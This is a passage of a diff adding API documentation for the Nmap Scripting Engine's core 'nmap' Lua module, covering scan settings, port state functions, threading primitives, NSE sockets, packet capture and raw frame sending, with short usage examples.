+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+module "nmap"
+
+--- Returns the debugging level as a non-negative integer.
+--
+-- The debugging level can be set with the <code>-d</code> option.
+-- @return The debugging level.
+-- @usage if nmap.debugging() > 0 then ... end
+function debugging()
+
+--- Determines whether Nmap was compiled with SSL support.
+--
+-- This can be used to avoid sending SSL probes when SSL is not available.
+-- @return True if Nmap was compiled with SSL support, false otherwise.
+function have_ssl()
+
+--- Returns the version intensity as a non-negative integer.
+--
+-- The version intensity can be set for all version probes with the
+-- <code>--version-intensity</code> option. The intensity for version scripts
+-- can be overridden with the <code>script-intensity</code> script argument.
+-- If overridden, nmap.version_intensity() returns the overridden value
+-- automatically. If neither <code>--version-intensity</code> nor the script
+-- argument <code>script-intensity</code> are used, the version intensity
+-- defaults to 7.
+-- When a version script is given by name with the <code>--script</code>
+-- option, as opposed to being selected automatically due to <code>-sV</code>,
+-- its version intensity is automatically set to maximum (9).
+-- @return The version intensity.
+-- @usage
+-- portrule = function(host, port)
+-- return ...
+-- ...
+-- and nmap.version_intensity() >= 7
+-- end
+function version_intensity()
+
+--- Returns the verbosity level as a non-negative integer.
+--
+-- The verbosity level can be set with the <code>-v</code> option. When
+-- a script is given by name with the <code>--script</code> option, as
+-- opposed to being selected by default or by category, its verbosity
+-- level is automatically increased by one.
+-- @return The verbosity level.
+-- @usage if nmap.verbosity() > 0 then ... end
+function verbosity()
+
+--- Returns whether a script should be able to perform privileged operations
+--
+-- @return True if Nmap is running privileged, false otherwise.
+function is_privileged()
+
+--- Resolves the specified host name using the optional address family and
+-- returns a table containing all of the matching addresses.
+--
+-- If no address family is given, resolve() will return all addresses for the
+-- name.
+--
+-- @param host Host name to resolve
+-- @param family Address family string (such as "inet") to specify the type
+-- of addresses returned
+-- @see address_family
+-- @return Status (true or false)
+-- @return Table containing addresses resolved from the host name if status
+-- is true, or an error string if status is false
+-- @usage local status, t = nmap.resolve("www.kame.net", nmap.address_family())
+function resolve(host, family)
+
+--- Returns the address family Nmap is using.
+--
+-- For example, if Nmap is run with the -6 option, then "inet6" is returned.
+--
+-- @return The address family as a string ("inet" or "inet6")
+-- @usage local family = nmap.address_family()
+function address_family()
+
+--- Returns the interface name (dnet-style) that Nmap is using.
+--
+-- For example in the pre-scanning (<code>"prerule"</code> scripts) phase
+-- if Nmap is run with the <code>-e eth0</code>, then "eth0" can be
+-- returned, however Nmap can return an other interface name since it
+-- can determine the best interface suited for the job.
+-- Other <code>"hostrule"</code> and <code>"portrule"</code> scripts
+-- should use the interface field of the <code>host</code> table:
+-- <code>host.interface</code>.
+--
+-- The result of this function can be used to get the interface information
+-- table, example: <code>nmap.get_interface_info("eth0")</code>.
+--
+-- @return A string containing the interface name (dnet-style) on
+-- success, or a nil value on failures.
+-- @usage local interface_name = nmap.get_interface()
+function get_interface()
+
+--- Gets the interface network information.
+--
+-- This function takes a dnet-style interface name and returns a table
+-- containing the network information of the interface.
+--
+-- Keys of the returned table:
+-- * <code>device</code> The interface name, can be an interface alias.
+-- * <code>shortname</code> A simple short name of the device.
+-- * <code>netmask</code> The netmask bits (CIDR) of the interface.
+-- * <code>address</code> The string representing the IP address assigned to the interface.
+-- * <code>link</code> The string representing the hardware type of the interface. Possible values are: <code>"ethernet"</code>, <code>"loopback"</code>, <code>"p2p"</code> or <code>"other"</code>.
+-- * <code>mac</code> MAC address (six-byte-long binary string) of the interface if the type of the interface is <code>"ethernet"</code>, otherwise it is <code>nil</code>.
+-- * <code>broadcast</code> The string representing the broadcast address assigned to the interface if the interface type is <code>"ethernet"</code> and if the used address is IPv4, otherwise it is <code>nil</code>.
+-- * <code>up</code> The state of the interface, possible values are <code>"up"</code> or <code>"down"</code>.
+-- * <code>mtu</code> The MTU size of the interface.
+--
+-- @param interface_name The name of the interface.
+-- @return Table containing the network information of the interface on
+-- success, or nil and an error message on failures.
+-- @usage local iface, err = nmap.get_interface_info("eth0")
+function get_interface_info(interface_name)
+
+--- Lists network interfaces
+--
+-- This script enumerates all network interfaces and returns a list of tables
+-- containing information about every interface. If an interface has more than
+-- one network address configured (such as IPv4, IPv6 link-local, IPv6 public)
+-- then the list will have a separate entry for each address.
+--
+-- Keys of each table:
+-- * <code>device</code> The interface name, can be an interface alias.
+-- * <code>shortname</code> A simple short name of the device.
+-- * <code>netmask</code> The netmask bits (CIDR) of the interface.
+-- * <code>address</code> The string representing the IP address assigned to the interface.
+-- * <code>link</code> The string representing the hardware type of the interface. Possible values are: <code>"ethernet"</code>, <code>"loopback"</code>, <code>"p2p"</code> or <code>"other"</code>.
+-- * <code>mac</code> MAC address (six-byte-long binary string) of the interface if the type of the interface is <code>"ethernet"</code>, otherwise it is <code>nil</code>.
+-- * <code>broadcast</code> The string representing the broadcast address assigned to the interface if the interface type is <code>"ethernet"</code> and if the used address is IPv4, otherwise it is <code>nil</code>.
+-- * <code>up</code> The state of the interface, possible values are <code>"up"</code> or <code>"down"</code>.
+-- * <code>mtu</code> The MTU size of the interface.
+--
+-- @return Array of tables containing information about every discovered interface.
+-- @usage local interfaces, err = nmap.list_interfaces()
+function list_interfaces()
+
+--- Returns the TTL (time to live) value selected by the --ttl option
+--
+-- If there is no value specified or if the value specified with the --ttl
+-- option is out of the range 0 to 255 (inclusive) this function returns 64,
+-- which is the default TTL for an IP packet. This function would be most
+-- useful in crafting packets, which we want to comply with the selected
+-- Nmap TTL value.
+--
+-- @return A number containing the TTL value
+-- @usage local ttl = nmap.get_ttl()
+function get_ttl()
+
+--- Returns the payload data length selected with the --data-length option
+--
+-- Used when a script is crafting ICMP packets and needs to comply with the
+-- selected payload data length. If there is no value specified this function
+-- returns 0 which is the default length of the ICMP payload for Nmap.
+--
+-- @return A number containing the value of the payload length
+-- @usage local payload_length = nmap.get_payload_length
+function get_payload_length()
+
+--- Searches for the specified file relative to Nmap's search paths and returns
+-- a string containing its path if it is found and readable (to the process).
+-- Absolute paths and paths relative to the current directory will not be
+-- searched.
+--
+-- If the file is not found, not readable, or is a directory, <code>nil</code>
+-- is returned.
+-- @usage
+-- nmap.fetchfile("nmap-rpc") --> "/usr/local/share/nmap/nmap-rpc"
+-- @param filename Filename to search for.
+-- @return String representing the full path to the file or <code>nil</code>.
+function fetchfile(filename)
+
+--- Returns the timing level as a non-negative integer.
+--
+-- Possible return values vary from <code>0</code> to <code>5</code>,
+-- corresponding to the six built-in Nmap timing templates. The timing level
+-- can be set with the <code>-T</code> option.
+-- @return The timing level.
+function timing_level()
+
+--- Gets a port table for a port on a given host.
+--
+-- This function takes a host table and a port table and returns a port table
+-- for the queried port. The port table returned is similar in structure to the
+-- ones passed to the <code>hostrule</code>, <code>portrule</code>, and
+-- <code>action</code> functions. If the given port was not scanned the function
+-- returns <code>nil</code>.
+--
+-- You can of course reuse the host and port tables passed to a script's rule
+-- function. The purpose of this call is to be able to match scripts against
+-- more than one open port. For example if the target host has an open port 22
+-- and a running identd server, then you can write a script which will only fire
+-- if both ports are open and there is an identification server on port 113.
+-- While it is possible to specify IP addresses different to the currently
+-- scanned target, the result will only be correct if the target is in the
+-- currently scanned group of hosts.
+-- @param host Host table, containing an <code>ip</code> field.
+-- @param port Port table, containing <code>number</code> and
+-- <code>protocol</code> fields.
+-- @return A new port table holding the status and information for the port, or <code>nil</code>.
+-- @usage p = nmap.get_port_state({ip="127.0.0.1"}, {number="80", protocol="tcp"})
+function get_port_state(host, port)
+
+--- Iterates over port tables matching protocol and state for a given host
+--
+-- This function takes a host table, previous port table, port protocol and
+-- port state to return matching port tables on a host.
+--
+-- The first time you call this function, pass <code>nil</code> for the port
+-- parameter to get the first matching port table. From then on, pass the
+-- previous port table returned by this function to the port parameter for the
+-- next matching port table.
+--
+-- @param host Host table, containing an <code>ip</code> field
+-- @param port Port table, containing a <code>number</code> field; or <code>nil</code>
+-- for first port
+-- @param proto Port protocol, such as <code>"tcp"</code>
+-- @param state Port state, such as <code>"open"</code>
+-- @return Next port table for host, or <code>nil</code> when exhausted
+-- @usage port = nmap.get_ports(host, port, "tcp", "open")
+function get_ports(host, port, proto, state)
+
+--- Sets the state of a port on a given host.
+--
+-- Using this function, the final port state, reflected in Nmap's results, can
+-- be changed for a target. This is useful when Nmap detects a port as
+-- <code>open|filtered</code>, but the script successfully connects to that
+-- port. In this case, the script can set the port state to <code>open</code>.
+-- This function doesn't change the original port table passed a script's
+-- action function.
+-- @param host Host table, containing an <code>ip</code> field.
+-- @param port Port table, containing <code>number</code> and
+-- <code>protocol</code> fields.
+-- @param state Port state, like <code>"open"</code> or <code>"closed"</code>.
+function set_port_state(host, port, state)
+
+--- Sets version information on a port.
+--
+-- NSE scripts are sometimes able to determine the service name and application
+-- version listening on a port. A whole script category (<code>version</code>)
+-- was designed for this purpose. This function is used to record version
+-- information when it is discovered.
+--
+-- The host and port arguments to this function should either be the tables
+-- passed to the action method or they should have the same structure. The port
+-- argument specifies the port to operate on through its <code>number</code>
+-- and <code>protocol</code> fields. and also contains the new version
+-- information to set. The version detection fields this function looks at are
+-- <code>name</code>, <code>product</code>, <code>version</code>,
+-- <code>extrainfo</code>, <code>hostname</code>, <code>ostype</code>,
+-- <code>devicetype</code>, <code>service_tunnel</code>, and <code>cpe</code>.
+-- All these keys are optional.
+--
+-- The <code>probestate</code> argument describes the state in which the script
+-- completed. It is a string, one of: <code>"hardmatched"</code>,
+-- <code>"softmatched"</code>, <code>"nomatch"</code>,
+-- <code>"tcpwrapped"</code>, or <code>"incomplete"</code>.
+-- <code>"hardmatched"</code> is almost always used (and is the default),
+-- as it signifies a
+-- successful match. The other possible states are generally only used for
+-- standard version detection rather than the NSE enhancement.
+-- @param host Host table, containing an <code>ip</code> field.
+-- @param port Port table, containing <code>number</code> and
+-- <code>protocol</code> fields, as well as any additional version information
+-- fields.
+-- @param probestate The state of the probe: <code>"hardmatched"</code>,
+-- <code>"softmatched"</code>, <code>"nomatch"</code>,
+-- <code>"tcpwrapped"</code>, or <code>"incomplete"</code>.
+function set_port_version(host, port, probestate)
+
+--- Returns the current date and time in seconds.
+-- @return The number of seconds since the epoch (on most systems this is
+-- 01/01/1970) as a floating point value.
+-- @usage local now = nmap.clock()
+function clock()
+
+--- Returns the current date and time in milliseconds.
+-- @return The number of milliseconds since the epoch (on most systems this is
+-- 01/01/1970).
+-- @usage local now = nmap.clock_ms()
+function clock_ms()
+
+--- Create a mutex on an object.
+--
+-- This function returns another function that works as a mutex on the object
+-- passed. This object can be any Lua data type except <code>nil</code>,
+-- Booleans, and Numbers. The Mutex (the returned function) allows you to lock,
+-- try to lock, and release the mutex. The Mutex function takes only one
+-- argument, which must be one of
+-- * <code>"lock"</code>: makes a blocking lock on the mutex. If the mutex is busy then the thread will yield and wait. The function returns with the mutex locked.
+-- * <code>"trylock"</code>: makes a non-blocking lock on the mutex. If the mutex is busy then it immediately returns a false value. Otherwise, the mutex locks the mutex and returns true.
+-- * <code>"done"</code>: releases the mutex and allows another thread to lock it. If the thread does not have a lock on the mutex, an error will be raised.
+-- * <code>"running"</code>: returns the thread locked on the mutex or <code>nil</code> if no thread is locked. This should only be used for debugging as it interferes with finished threads from being collected.
+--
+-- NSE maintains a weak reference to the Mutex function so other calls to
+-- nmap.mutex with the same object will return the same function (Mutex);
+-- however, if you discard your reference to the Mutex then it may be collected
+-- and subsequent calls to nmap.mutex with the object will return a different
+-- Mutex!
+-- @param object Object to create a mutex for.
+-- @return Mutex function which takes one of the following arguments:
+-- <code>"lock"</code>, <code>"trylock"</code>, <code>"done"</code>, or
+-- <code>"running"</code>.
+-- @usage
+-- id = "My Script's Unique ID"
+--
+-- local mutex = nmap.mutex(id)
+-- function action(host, port)
+-- mutex "lock"
+-- -- do stuff
+-- mutex "done"
+-- return script_output
+-- end
+function mutex(object)
+
+--- Create a condition variable for an object.
+--
+-- This function returns a function that works as a Condition Variable for the
+-- given object parameter. The object can be any Lua data type except
+-- <code>nil</code>, Booleans, and Numbers. The Condition Variable (returned
+-- function) allows you wait, signal, and broadcast on the condition variable.
+-- The Condition Variable function takes only one argument, which must be one of
+-- * <code>"wait"</code>: Wait on the condition variable until another thread wakes us.
+-- * <code>"signal"</code>: Wake up a single thread from the waiting set of threads for this condition variable.
+-- * <code>"broadcast"</code>: Wake up all threads in the waiting set of threads for this condition variable.
+--
+-- NSE maintains a weak reference to the Condition Variable so other calls to
+-- nmap.condvar with the same object will return the same function (Condition
+-- Variable); however, if you discard your reference to the Condition
+-- Variable then it may be collected; and, subsequent calls to nmap.condvar with
+-- the object will return a different Condition Variable function!
+--
+-- In NSE, Condition Variables are typically used to coordinate with threads
+-- created using the stdnse.new_thread facility. The worker threads must
+-- wait until work is available that the controller thread (the actual running
+-- script) will provide. Once work is created, the controller thread will awaken
+-- one or more workers so that the work can be done.
+--
+-- It is important to check the predicate (the test to see if your worker
+-- thread should "wait" or not) BEFORE and AFTER the call to wait. You are
+-- not guaranteed spurious wakeups will not occur (that is, there is no
+-- guarantee your thread will not be awakened when no thread called
+-- <code>"signal"</code> or <code>"broadcast"</code> on the condition variable).
+-- One important check for your worker threads, before and after waiting,
+-- should be to check that the controller thread is still alive.
+-- (To check that the controller thread is alive, obtain the "base" thread
+-- using stdnse.base and use coroutine.status). You do not want your worker
+-- threads to continue when the script has ended for reasons unknown to your
+-- worker thread. You are guaranteed that all threads waiting on a
+-- condition variable will be awakened if any thread that has accessed
+-- the condition variable via <code>nmap.condvar</code> ends for any
+-- reason. This is essential to prevent deadlock with threads
+-- waiting for another thread to awaken
+-- them that has ended unexpectedly.
+-- @see stdnse.new_thread
+-- @see stdnse.base
+-- @param object Object to create a condition variable for.
+-- @return ConditionVariable Condition variable function.
+-- @usage
+-- local myobject = {}
+-- local cv = nmap.condvar(myobject)
+-- cv "wait" -- waits until another thread calls cv "signal"
+function condvar(object)
+
+--- Creates a new exception handler.
+--
+-- This function returns an exception handler function. The exception handler is
+-- meant to be wrapped around other function calls that may raise an exception.
+-- A function raises an exception by making its first return value false and its
+-- second return value a message describing the error. When an exception occurs,
+-- the exception handler optionally calls a user-provided cleanup function, then
+-- terminates the script. When an exception does not occur (the wrapped
+-- function's first return value is true), the exception handler strips off the
+-- first return value and returns the rest.
+--
+-- The optional cleanup function is passed as the sole argument to
+-- <code>new_try</code>. It can be used to release sockets or other resources
+-- before the script terminates.
+--
+-- A function that may raise an exception must follow the return protocol
+-- understood by this function: on an exception its return values are
+-- <code>false</code> or <code>nil</code> followed by an error message; on
+-- success its return values are any true value followed by any other results.
+-- @param handler User cleanup function (optional).
+-- @usage
+-- local result, socket, try, catch
+--
+-- result = ""
+-- socket = nmap.new_socket()
+-- catch = function()
+-- socket:close()
+-- end
+-- try = nmap.new_try(catch)
+-- try(socket:connect(host, port))
+-- result = try(socket:receive_lines(1))
+-- try(socket:send(result))
+function new_try(handler)
+
+--- Returns a new NSE socket object.
+--
+-- To allow for efficient and parallelizable network I/O, NSE provides an
+-- interface to Nsock, the Nmap socket library. The smart callback mechanism
+-- Nsock uses is fully transparent to NSE scripts. The main benefit of NSE's
+-- sockets is that they never block on I/O operations, allowing many scripts to
+-- be run in parallel. The I/O parallelism is fully transparent to authors of
+-- NSE scripts. In NSE you can either program as if you were using a single
+-- non-blocking socket or you can program as if your connection is blocking.
+-- Seemingly blocking I/O calls still return once a specified timeout has been
+-- exceeded.
+--
+-- NSE sockets are the recommended way to do network I/O. They support
+-- <code>connect</code>-style sending and receiving over TCP and UDP (and SSL),
+-- as well as raw socket receiving.
+-- @param protocol a protocol string (optional, defaults to <code>"tcp"</code>).
+-- @param af an address family string (optional, defaults to <code>"inet"</code>).
+-- @return A new NSE socket.
+-- @see pcap_open
+-- @usage local socket = nmap.new_socket()
+function new_socket(protocol, af)
+
+--- Sets the local address of a socket.
+--
+-- This socket method sets the local address and port of a socket. It must be
+-- called before <code>connect</code>. The address set by <code>bind</code>
+-- overrides Nmap's source address and port set by the <code>-S</code> and
+-- <code>-g</code> options.
+-- @param addr Address string or <code>nil</code> (optional).
+-- @param port Port number or <code>nil</code> (optional).
+-- @return Status (true or false).
+-- @return Error string (if status is false).
+-- @usage
+-- try = nmap.new_try()
+-- try(socket:bind(nil, 53))
+-- try(socket:bind("1.2.3.4"))
+-- try(socket:bind("2001:db8::1"))
+-- try(socket:bind("1.2.3.4", 53))
+function bind(addr, port)
+
+--- Establishes a connection.
+--
+-- This method puts a socket in a state ready for communication. It takes as
+-- arguments a host descriptor (a host table, IP address, or hostname), a port
+-- descriptor (a port table or number), and optionally a protocol. If given, the
+-- protocol must be one of <code>"tcp"</code>, <code>"udp"</code> or
+-- <code>"ssl"</code>. The default value for the protocol is
+-- <code>port.protocol</code> if <code>port</code> is a port table, otherwise
+-- <code>"tcp"</code>.
+--
+-- If <code>host</code> is a host table, it must contain at least one of the
+-- keys <code>ip</code> or <code>name</code>. If <code>name</code>
+-- is given, it is used to request the correct certificate in SSL connections.
+-- Passing a string instead of a host table acts like <code>host.ip</code> and
+-- <code>host.name</code> were set to the same value. If <code>port</code>
+-- is a table, it must contain the <code>number</code> key.
+--
+-- On success the function returns a true value. On failure it returns a false
+-- value (<code>false</code> or <code>nil</code>) and an error string. Those
+-- strings are taken from the <code>gai_strerror</code> C function. They are
+-- (with the error code in parentheses):
+-- * <code>"Address family for hostname not supported"</code> (<code>EAI_ADDRFAMILY</code>)
+-- * <code>"Temporary failure in name resolution"</code> (<code>EAI_AGAIN</code>)
+-- * <code>"Bad value for ai_flags"</code> (<code>EAI_BADFLAGS</code>)
+-- * <code>"Non-recoverable failure in name resolution"</code> (<code>EAI_FAIL</code>)
+-- * <code>"ai_family not supported"</code> (<code>EAI_FAMILY</code>)
+-- * <code>"Memory allocation failure"</code> (<code>EAI_MEMORY</code>)
+-- * <code>"No address associated with hostname"</code> (<code>EAI_NODATA</code>)
+-- * <code>"Name or service not known"</code> (<code>EAI_NONAME</code>)
+-- * <code>"Servname not supported for ai_socktype"</code> (<code>EAI_SERVICE</code>)
+-- * <code>"ai_socktype not supported"</code> (<code>EAI_SOCKTYPE</code>)
+-- * <code>"System error"</code> (<code>EAI_SYSTEM</code>)
+-- In addition to these standard system error messages there are two
+-- NSE-specific errors:
+-- * <code>"Sorry, you don't have OpenSSL"</code>: The protocol is <code>"ssl"</code> but Nmap was compiled without OpenSSL support.
+-- * <code>"invalid connection method"</code>: The second parameter is not one of <code>"tcp"</code>, <code>"udp"</code>, and <code>"ssl"</code>.
+-- @param host Host table, hostname or IP address.
+-- @param port Port table or number.
+-- @param protocol <code>"tcp"</code>, <code>"udp"</code>, or
+-- <code>"ssl"</code> (default <code>"tcp"</code>, or whatever was set in
+-- <code>new_socket</code>).
+-- @return Status (true or false).
+-- @return Error code (if status is false).
+-- @see new_socket
+-- @usage
+-- local status, err = socket:connect(host, port)
+-- if not status then
+-- return string.format("Can't connect: %s", err)
+-- end
+function connect(host, port, protocol)
+
+--- Reconnect the open (connected) socket with SSL.
+--
+-- It is sometimes desirable to request SSL over an established connection.
+-- The internal buffers for the socket are cleared when the reconnection is
+-- made. Any received data that has not yet been read through a call to receive
+-- is lost.
+-- @usage
+-- local status, err = socket:reconnect_ssl()
+-- if not status then
+-- return string.format("Can't reconnect with ssl: %s", err)
+-- end
+function reconnect_ssl()
+
+--- Sends data on an open socket.
+--
+-- This socket method sends the data contained in the data string through an
+-- open connection. On success the function returns a true value. If the send
+-- operation fails, the function returns a false value (<code>false</code> or
+-- <code>nil</code>) along with an error string. The error strings are
+-- * <code>"Trying to send through a closed socket"</code>: There was no call to <code>socket:connect</code> before the send operation.
+-- * <code>"TIMEOUT"</code>: The operation took longer than the specified timeout for the socket.
+-- * <code>"ERROR"</code>: An error occurred inside the underlying Nsock library.
+-- * <code>"CANCELLED"</code>: The operation was cancelled.
+-- * <code>"KILL"</code>: For example the script scan is aborted due to a faulty script.
+-- * <code>"EOF"</code>: An EOF was read (probably will not occur for a send operation).
+-- @param data The data to send.
+-- @return Status (true or false).
+-- @return Error code (if status is false).
+-- @see new_socket
+-- @usage local status, err = socket:send(data)
+function send(data)
+
+--- Sends data on an unconnected socket to a given destination.
+--
+-- Sockets that have not been connected do not have an implicit
+-- destination address, so the <code>send</code> function doesn't work. Instead
+-- the destination must be given with each send using this function. The
+-- protocol and address family of the socket must have been set in
+-- <code>new_socket</code>. On
+-- success the function returns a true value. If the send operation fails, the
+-- function returns a false value (<code>false</code> or <code>nil</code>) along
+-- with an error string. The error strings are
+-- * <code>"TIMEOUT"</code>: The operation took longer than the specified timeout for the socket.
+-- * <code>"ERROR"</code>: An error occurred inside the underlying Nsock library.
+-- * <code>"CANCELLED"</code>: The operation was cancelled.
+-- * <code>"KILL"</code>: For example the script scan is aborted due to a faulty script.
+-- * <code>"EOF"</code>: An EOF was read (probably will not occur for a send operation).
+-- @param host The hostname or IP address to send to.
+-- @param port The port number to send to.
+-- @param data The data to send.
+-- @return Status (true or false).
+-- @return Error code (if status is false).
+-- @usage local status, err = socket:sendto(host, port, data)
+function sendto(host, port, data)
+
+--- Receives data from an open socket.
+--
+-- The receive method does a non-blocking receive operation on an open socket.
+-- On success the function returns true along with the received data. On
+-- failure the function returns a false value (<code>false</code> or
+-- <code>nil</code>) along with an error string. A failure occurs for example if
+-- <code>receive</code> is called on a closed socket. The receive call returns
+-- to the NSE script all the data currently stored in the receive buffer of the
+-- socket. Error conditions are the same as for <code>send</code>.
+-- @return Status (true or false).
+-- @return Data (if status is true) or error string (if status is false).
+-- @see new_socket
+-- @usage local status, data = socket:receive()
+function receive()
+
+--- Receives lines from an open connection.
+--
+-- Tries to receive at least <code>n</code> lines from an open connection. A
+-- line is a string delimited with <code>\n</code> characters. If no data was
+-- was received before the operation times out a <code>"TIMEOUT"</code> error
+-- occurs. If even one character was received then it is returned with success.
+-- On the other hand, if more than <code>n</code> lines were received, all are
+-- returned, not just <code>n</code>. Use <code>stdnse.make_buffer</code> to
+-- guarantee only one line is returned per call.
+--
+-- The return values and error codes are the same as for <code>send</code>.
+-- @param n Minimum number of lines to read.
+-- @return Status (true or false).
+-- @return Data (if status is true) or error string (if status is false).
+-- @see new_socket
+-- @usage local status, lines = socket:receive_lines(1)
+function receive_lines(n)
+
+--- Receives bytes from an open connection.
+--
+-- Tries to receive at least <code>n</code> bytes from an open connection. Like
+-- in <code>receive_lines</code>, <code>n</code> is the minimum amount of
+-- characters we would like to receive. If more arrive, we get all of them. If
+-- even one is received then it is returned. If no characters arrive before the
+-- operation times out, a <code>"TIMEOUT"</code> error occurs.
+--
+-- The return values and error codes are the same as for <code>send</code>.
+-- @param n Minimum number of bytes to read.
+-- @return Status (true or false).
+-- @return Data (if status is true) or error string (if status is false).
+-- @see new_socket
+-- @usage local status, bytes = socket:receive_bytes(1)
+function receive_bytes(n)
+
+--- Reads from a socket using a buffer and an arbitrary delimiter.
+--
+-- This method reads data from the network until it encounters the given
+-- delimiter string (or matches the function passed in). This function
+-- continues to read from the network until the delimiter is found or the
+-- function times out. If data is read beyond the delimiter, that data is
+-- saved in a buffer for the next call to <code>receive_buf</code>.
+--
+-- The first argument may be either a pattern or a function. If a pattern, that
+-- pattern is used to separate the data. If a function, it must take exactly
+-- one parameter (the buffer) and its return values must be in the same format
+-- as those of <code>string.find</code> (offsets to the start and the end of
+-- the delimiter inside the buffer, or <code>nil</code> if the delimiter is not
+-- found). The nselib <code>match.lua</code> module provides functions for
+-- matching against regular expressions or byte counts. These functions are
+-- suitable as arguments to <code>receive_buf</code>.
+--
+-- NOTE: If a pattern is used, receive_buf will continue to receive data until
+-- the pattern matches or there is a timeout. If the service never stops
+-- sending non-matching data, receive_buf will never return. Using
+-- <code>match.pattern_limit</code> can avoid this by imposing a limit on how
+-- many bytes to read before returning the entire non-matching buffer.
+--
+-- The second argument to <code>receive_buf</code> is a Boolean value
+-- controlling whether the delimiting string is returned along with the
+-- received data (true) or discarded (false).
+--
+-- On success the function returns true along with the received data. On failure
+-- the function returns <code>false</code> or <code>nil</code> along with an
+-- receive error string. This function may also throw errors for incorrect usage.
+-- @param delimiter A Lua pattern or a function with return values like those of
+-- <code>string.find</code>.
+-- @param keeppattern Whether to return the delimiter string with any returned
+-- data.
+-- @return Status (true or false).
+-- @return Data (if status is true) or error string (if status is false).
+-- @see new_socket
+-- @see match
+-- @usage local status, line = socket:receive_buf("\r?\n", false)
+function receive_buf(delimiter, keeppattern)
+
+--- Closes an open connection.
+--
+-- On success the function returns true. If the close fails, the function
+-- returns <code>false</code> or <code>nil</code> and an error string. Currently
+-- the only error message is <code>"Trying to close a closed socket"</code>,
+-- which is issued if the socket has already been closed.
+--
+-- Sockets are subject to garbage collection. Should you forget to close a
+-- socket, it will get closed before it gets deleted (on the next occasion Lua's
+-- garbage collector is run). However since garbage collection cycles are
+-- difficult to predict, it is considered good practice to close opened sockets.
+-- @return Status (true or false).
+-- @return Error code (if status is false).
+-- @see new_socket
+-- @usage socket:close()
+function close()
+
+--- Gets information about a socket.
+--
+-- This function returns information about a socket object. It returns five
+-- values. If an error occurred, the first value is <code>false</code> or
+-- <code>nil</code> and the second value is an error string. Otherwise the first
+-- value is true and the remaining 4 values describe both endpoints of the TCP
+-- connection. If you put the call inside an exception handler created by
+-- <code>new_try</code> the status value is consumed. The call can be used for
+-- example if you want to query an authentication server.
+-- @return Status (true or false).
+-- @return Local IP address (if status is true) or error string (if status is
+-- false).
+-- @return Local port number (if status is true).
+-- @return Remote IP address (if status is true).
+-- @return Remote port number (if status is true).
+-- @see new_socket
+-- @usage local status, lhost, lport, rhost, rport = socket:get_info()
+function get_info()
+
+--- Sets a timeout for socket input and output operations.
+--
+-- After this time, given in milliseconds, socket operations will time out and
+-- return. The default value is 30,000 (30 seconds). The lowest allowed value is
+-- 10 ms, since this is the granularity of NSE network I/O.
+-- @param t Timeout in milliseconds.
+-- @see new_socket
+-- @usage socket:set_timeout(10000)
+function set_timeout(t)
+
+--- Opens a socket for raw packet capture.
+--
+-- @param device The dnet-style interface name of the device you want to capture
+-- from.
+-- @param snaplen The length of each packet you want to capture (similar to the
+-- <code>-s</code> option to tcpdump)
+-- @param promisc Boolean value for whether the interface should activate
+-- promiscuous mode.
+-- @param bpf A string describing a Berkeley Packet Filter expression (like
+-- those provided to tcpdump).
+-- @see new_socket, pcap_receive
+-- @usage
+-- local socket = nmap.new_socket()
+-- socket:pcap_open("eth0", 64, false, "tcp")
+function pcap_open(device, snaplen, promisc, bpf)
+
+--- Receives a captured packet.
+--
+-- If an error or timeout occurs, the function returns false and an error
+-- message. Otherwise, the function returns true followed by the packet length,
+-- layer two header, layer three header and packet capture time.
+-- @return Status (true or false).
+-- @return The length of the captured packet (this may be smaller than the
+-- actual packet length since packets are truncated when the
+-- libpcap snaplen parameter is smaller than the total packet length).
+-- @return Data from the second OSI layer (e.g. ethernet headers).
+-- @return Data from the third OSI layer (e.g. IPv4 headers).
+-- @return Packet capture time, as floating point seconds since the epoch
+-- @see pcap_open
+-- @usage status, plen, l2_data, l3_data, time = socket:pcap_receive()
+function pcap_receive()
+
+--- Closes a pcap device.
+-- @see close, pcap_close
+-- @usage socket:pcap_close()
+function pcap_close()
+
+---
+-- Retrieves the SSL certificate of the peer. The returned value can be accessed
+-- like a table and has the following members:
+--
+-- <code>
+-- subject = { commonName = "...", countryName = "...",
+-- { "2", "5", "4", "15" } = "...", ... },
+-- issuer = { commonName = "...", ... },
+-- pubkey = { type = "rsa", bits = 1024 },
+-- validity = { notBefore = { year = 2020, month = 5, day = 5,
+-- hour = 0, min = 0, sec = 0 },
+-- notAfter = { year = 2021, month = 5, day = 5,
+-- hour = 0, min = 0, sec = 0 } },
+-- pem = "-----BEGIN CERTIFICATE-----\nMIIFxzCCBK+gAwIBAgIQX02QuADDB7CVj..."
+-- </code>
+--
+-- If the <code>pubkey</code> is type <code>"rsa"</code>, it will also have an
+-- <code>exponent</code> member, containing the public exponent as a bignum. If
+-- the type is <code>"ec"</code>, it will have an <code>ecdhparams.curve_params</code>
+-- member, containing a table with <code>ec_curve_type</code> and
+-- <code>curve</code> keys as strings.
+--
+-- It also has the following member functions:
+--
+-- * <code>digest(algorithm)</code> returns the digest of the certificate using the given digest algorithm, which is any of the strings returned by <code>openssl.supported_digests</code>, typically something like <code>"md5"</code> or <code>"sha1"</code>.
+--
+-- The <code>"subject"</code> and <code>"issuer"</code> fields hold each
+-- distinguished name. Fields with an unknown OID are represented as an array
+-- whose elements are the numeric components of the OID, encoded as strings.
+--
+-- The <code>"validity"</code> table has the members <code>"notBefore"</code>
+-- and <code>"notAfter"</code>. Each of these is a table as returned by
+-- <code>os.date("!*t")</code> if the date in the certificate could be parsed,
+-- except that they lack the <code>"wday"</code> and <code>"yday"</code>
+-- members. If the date could not be parsed, the value will be a string
+-- containing the raw byte values of the field. If absent, the value will be
+-- <code>nil</code>.
+--
+-- The <code>"pem"</code> field contains a PEM-encoded string of the entire
+-- contents of the certificate.
+-- @return A table as described above.
+-- @usage
+-- local s = nmap.new_socket()
+-- local status, error = s:connect(host, port, "ssl")
+-- if status then
+-- local cert = s:get_ssl_certificate()
+-- local digest = cert:digest("md5")
+-- end
+function get_ssl_certificate()
+
+--- Creates a new dnet object, used to send raw packets.
+-- @usage local dnet = nmap.new_dnet()
+function new_dnet()
+
+--- Opens an ethernet interface for raw packet sending.
+--
+-- An error (<code>"device is not valid ethernet interface"</code>) is thrown
+-- in case the provided argument is not valid.
+-- @param interface_name The dnet-style name of the interface to open.
+-- @see new_dnet
+-- @usage dnet:ethernet_open("eth0")
+function ethernet_open(interface_name)
+
+--- Sends a raw ethernet frame.
+--
+-- The dnet object must be associated with a previously opened interface. The
+-- packet must include the IP and ethernet headers. If there was no previous
+-- valid call to <code>ethernet_open</code> an error is thrown
